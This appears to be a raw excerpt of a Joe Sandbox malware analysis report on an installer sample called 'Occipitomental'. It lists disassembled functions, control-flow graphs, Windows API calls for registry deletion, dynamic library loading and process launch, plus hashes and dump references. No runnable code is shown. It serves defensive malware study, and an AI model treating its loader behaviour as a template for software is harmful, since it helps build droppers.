                                                  control_flow_graph 591 402a7a-402aa3 RegOpenKeyExA 592 402aa5-402ab0 591->592 593 402b0e-402b12 591->593 594 402acb-402adb RegEnumKeyA 592->594 595 402ab2-402ab5 594->595 596 402add-402aef RegCloseKey call 406092 594->596 597 402b02-402b05 RegCloseKey 595->597 598 402ab7-402ac9 call 402a7a 595->598 604 402af1-402b00 596->604 605 402b15-402b1b 596->605 602 402b0b-402b0d 597->602 598->594 598->596 602->593 604->593 605->602 606 402b1d-402b2b RegDeleteKeyA 605->606 606->602 607 402b2d 606->607 607->593
                                                  APIs
                                                  • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402A9B
                                                  • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
                                                  • RegCloseKey.ADVAPI32(?), ref: 00402AE0
                                                  • RegCloseKey.ADVAPI32(?), ref: 00402B05
                                                  • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Close$DeleteEnumOpen
                                                  • String ID:
                                                  • API String ID: 1912718029-0
                                                  • Opcode ID: 28eda8ad5ee3f1747680f1c1e66691f1b3c8516cce39e915f0520cd279fa2995
                                                  • Instruction ID: 77b923b5c768d409b2d5e956d577938eeee851e691c4f647a4d397fc18f4a02c
                                                  • Opcode Fuzzy Hash: 28eda8ad5ee3f1747680f1c1e66691f1b3c8516cce39e915f0520cd279fa2995
                                                  • Instruction Fuzzy Hash: 10113D71A00108BEDF229F90DE89DAE3B7DEB54349B504436FA01F10A0D775AE51DB69
                                                  Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 609 100016bd-100016f9 call 10001a5d 613 1000180a-1000180c 609->613 614 100016ff-10001703 609->614 615 10001705-1000170b call 100021b0 614->615 616 1000170c-10001719 call 100021fa 614->616 615->616 621 10001749-10001750 616->621 622 1000171b-10001720 616->622 623 10001770-10001774 621->623 624 10001752-1000176e call 100023da call 10001559 call 10001266 GlobalFree 621->624 625 10001722-10001723 622->625 626 1000173b-1000173e 622->626 630 100017b2-100017b8 call 100023da 623->630 631 10001776-100017b0 call 10001559 call 100023da 623->631 646 100017b9-100017bd 624->646 628 10001725-10001726 625->628 629 1000172b-1000172c call 100027e8 625->629 626->621 632 10001740-10001741 call 10002aa3 626->632 634 10001733-10001739 call 10002589 628->634 635 10001728-10001729 628->635 641 10001731 629->641 630->646 631->646 644 10001746 632->644 650 10001748 634->650 635->621 635->629 641->644 644->650 651 100017fa-10001801 646->651 652 100017bf-100017cd call 100023a0 646->652 650->621 651->613 657 10001803-10001804 GlobalFree 651->657 659 100017e5-100017ec 652->659 660 100017cf-100017d2 652->660 657->613 659->651 662 100017ee-100017f9 call 100014e2 659->662 660->659 661 100017d4-100017dc 660->661 661->659 663 100017de-100017df FreeLibrary 661->663 662->651 663->659
                                                  APIs
                                                    • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                    • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                    • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                  • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                  • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                  • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                    • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                    • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                    • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$Free$Alloc$Librarylstrcpy
                                                  • String ID:
                                                  • API String ID: 1791698881-3916222277
                                                  • Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                  • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                  • Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                  • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                  Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 666 401f90-401f9c 667 401fa2-401fb8 call 402a3a * 2 666->667 668 402057-402059 666->668 678 401fc7-401fd5 LoadLibraryExA 667->678 679 401fba-401fc5 GetModuleHandleA 667->679 670 4021c4-4021c9 call 401423 668->670 675 4028cf-4028de 670->675 681 401fd7-401fe4 GetProcAddress 678->681 682 402050-402052 678->682 679->678 679->681 683 402023-402028 call 404f16 681->683 684 401fe6-401fec 681->684 682->670 688 40202d-402030 683->688 686 402005-40201c call 100016bd 684->686 687 401fee-401ffa call 401423 684->687 690 40201e-402021 686->690 687->688 697 401ffc-402003 687->697 688->675 691 402036-40203e call 40361d 688->691 690->688 691->675 696 402044-40204b FreeLibrary 691->696 696->675 697->688
                                                  APIs
                                                  • GetModuleHandleA.KERNELBASE(00000000,?,000000F0), ref: 00401FBB
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
                                                    • Part of subcall function 00404F16: lstrcatA.KERNEL32(0041F500,00402FCF,00402FCF,0041F500,00000000,0040E8D8,00000000), ref: 00404F72
                                                    • Part of subcall function 00404F16: SetWindowTextA.USER32(0041F500,0041F500), ref: 00404F84
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FAA
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC4
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FD2
                                                  • LoadLibraryExA.KERNELBASE(00000000,?,00000008,?,000000F0), ref: 00401FCB
                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
                                                  • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,?,000000F0), ref: 00402045
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                  • String ID:
                                                  • API String ID: 2987980305-0
                                                  • Opcode ID: 5a77b89684086c50f25ca6ce1be8fa81a10abce4e0c98800075ca59978e99b16
                                                  • Instruction ID: b68841798668a23a4ff443840be3121a405d120f2a8fc72f381fb15ba3c401f2
                                                  • Opcode Fuzzy Hash: 5a77b89684086c50f25ca6ce1be8fa81a10abce4e0c98800075ca59978e99b16
                                                  • Instruction Fuzzy Hash: 72212E72904215FBDF217F648E4DA6E7670AB45318F30423BF301B52D0D7BD49419A6E
                                                  Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 00405808: CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,?,00405874,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405816
                                                    • Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040581B
                                                    • Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040582F
                                                  • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605
                                                    • Part of subcall function 004053DC: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 0040541F
                                                  • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\barberknivene\Valonia,00000000,00000000,000000F0), ref: 00401634
                                                  Strings
                                                  • C:\Users\user\AppData\Local\barberknivene\Valonia, xrefs: 00401629
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                  • String ID: C:\Users\user\AppData\Local\barberknivene\Valonia
                                                  • API String ID: 1892508949-2457997037
                                                  • Opcode ID: 25accc1edcce42dc51e40080d3554cd6b04b3806faa066d8313ce56d695f7edb
                                                  • Instruction ID: 033a10bc0c18a89e8a0df43fa9022a024a55b03552da94b7695e97ed969a6887
                                                  • Opcode Fuzzy Hash: 25accc1edcce42dc51e40080d3554cd6b04b3806faa066d8313ce56d695f7edb
                                                  • Instruction Fuzzy Hash: BD112B35504141ABDF217B650C409BF37B0E9A2325738463FE582B22D2C63C0943A63F
                                                  Function 0040548E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421528,Error launching installer), ref: 004054B7
                                                  • CloseHandle.KERNEL32(?), ref: 004054C4
                                                  Strings
                                                  • Error launching installer, xrefs: 004054A1
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CloseCreateHandleProcess
                                                  • String ID: Error launching installer
                                                  • API String ID: 3712363035-66219284
                                                  • Opcode ID: 11830fbe1599591dde0320708e1ac997fc89973e1d072e2855f62d3e6df5e4ac
                                                  • Instruction ID: 371522acfb7cd9539d7ae69e543ca64f087bc7c9f75cc5940c594e3c03f6d28b
                                                  • Opcode Fuzzy Hash: 11830fbe1599591dde0320708e1ac997fc89973e1d072e2855f62d3e6df5e4ac
                                                  • Instruction Fuzzy Hash: D6E04FF1A102097FEB009BA0EC05F7B7BBCE754704F404471BD01F21A0D678A8408A79
                                                  Function 00406779 Relevance: 5.2, APIs: 4, Instructions: 236COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 6f303b90f097451caafc5c82d86dc7f8c3a5ca7b8ce6b4562ff9062d076474e9
                                                  • Instruction ID: cf83b5f92aa564cc298776c77b2bdd28f1825052710f2ecdbdb4cfcb1c159722
                                                  • Opcode Fuzzy Hash: 6f303b90f097451caafc5c82d86dc7f8c3a5ca7b8ce6b4562ff9062d076474e9
                                                  • Instruction Fuzzy Hash: 92A13171E00229CBDF28DFA8C8547ADBBB1FB44305F11816ED816BB281C7786A96CF44
                                                  Function 0040697A Relevance: 5.2, APIs: 4, Instructions: 208COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 1ab636e1636351d1357f15bb4f6043d343d203a0e7e05c7e50cd2d20e4a1f53c
                                                  • Instruction ID: cdde4d58dff4e4a9c83cf0d0e57cddb7afde41a65112cf45587a3a44971c93cd
                                                  • Opcode Fuzzy Hash: 1ab636e1636351d1357f15bb4f6043d343d203a0e7e05c7e50cd2d20e4a1f53c
                                                  • Instruction Fuzzy Hash: 7A911070E04228CBDF28DF98C8547ADBBB1FB44305F15816ED816BB281C778AA96DF44
                                                  Function 00406690 Relevance: 5.2, APIs: 4, Instructions: 205COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 73ca531164300be04a77f53002292f938c132f2b380a2f89a8108b3de7a2d466
                                                  • Instruction ID: 210b764e34932ffe60d6cfe39aea5744945828095a37428d8e8ad2b7e06fd55b
                                                  • Opcode Fuzzy Hash: 73ca531164300be04a77f53002292f938c132f2b380a2f89a8108b3de7a2d466
                                                  • Instruction Fuzzy Hash: 0B814671E04228CFDF24CFA8C8847ADBBB1FB44305F25816AD416BB281C7789A96DF44
                                                  Function 00406195 Relevance: 5.2, APIs: 4, Instructions: 198COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: d2cfe53134c7a763aaa08aff8449c0b0f7d6a132f5d25363dfe6705ba01c87a0
                                                  • Instruction ID: d8cce1150c04716a98830c198e93b549954248a52dda193404c5f2b9195ff2ae
                                                  • Opcode Fuzzy Hash: d2cfe53134c7a763aaa08aff8449c0b0f7d6a132f5d25363dfe6705ba01c87a0
                                                  • Instruction Fuzzy Hash: 89815771E04228CBDF24CFA8C8447ADBBB1FB44315F1181AED856BB281D7786A96DF44
                                                  Function 004065E3 Relevance: 5.2, APIs: 4, Instructions: 180COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 452643e19685fcea5462b53912e8b008e2854c88062b067f0f8fd89253b448af
                                                  • Instruction ID: 258a3fd06c35fad05ca81ab60d081a33c15d1deb970c592860f690c18264f2bd
                                                  • Opcode Fuzzy Hash: 452643e19685fcea5462b53912e8b008e2854c88062b067f0f8fd89253b448af
                                                  • Instruction Fuzzy Hash: 5D711271E04228CBDF24CFA8C8547ADBBF1FB44305F15806AD856BB281D7785A96DF44
                                                  Function 00406701 Relevance: 5.2, APIs: 4, Instructions: 170COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 12a72383bc36c7d96190d5e65704f25bda740c5ae2a23a9d2252c3d1e3b898a5
                                                  • Instruction ID: babde66c8cd488a95ab0ad7164d611a89d90f571a219cc2b865e3b094ddf9d96
                                                  • Opcode Fuzzy Hash: 12a72383bc36c7d96190d5e65704f25bda740c5ae2a23a9d2252c3d1e3b898a5
                                                  • Instruction Fuzzy Hash: 28712471E04228CBDF28CFA8C8547ADBBB1FB44305F15816ED856BB281C7785A96DF44
                                                  Function 0040664D Relevance: 5.2, APIs: 4, Instructions: 168COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 61a2e03896eecfdf1d4da445d37de20e8426d4ebfe516142fa5c4c165488df89
                                                  • Instruction ID: 6cdc3ec63689871e8710e51dd90966e3aca29af0085505062bf66b2ee05b33a6
                                                  • Opcode Fuzzy Hash: 61a2e03896eecfdf1d4da445d37de20e8426d4ebfe516142fa5c4c165488df89
                                                  • Instruction Fuzzy Hash: 25714571E04228CBDF28CF98C8547ADBBB1FB44305F11806ED856BB281C7786A96DF44
                                                  Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
                                                    • Part of subcall function 00404F16: lstrcatA.KERNEL32(0041F500,00402FCF,00402FCF,0041F500,00000000,0040E8D8,00000000), ref: 00404F72
                                                    • Part of subcall function 00404F16: SetWindowTextA.USER32(0041F500,0041F500), ref: 00404F84
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FAA
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC4
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FD2
                                                    • Part of subcall function 0040548E: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421528,Error launching installer), ref: 004054B7
                                                    • Part of subcall function 0040548E: CloseHandle.KERNEL32(?), ref: 004054C4
                                                  • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
                                                  • GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
                                                  • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3
                                                  Memory Dump Source
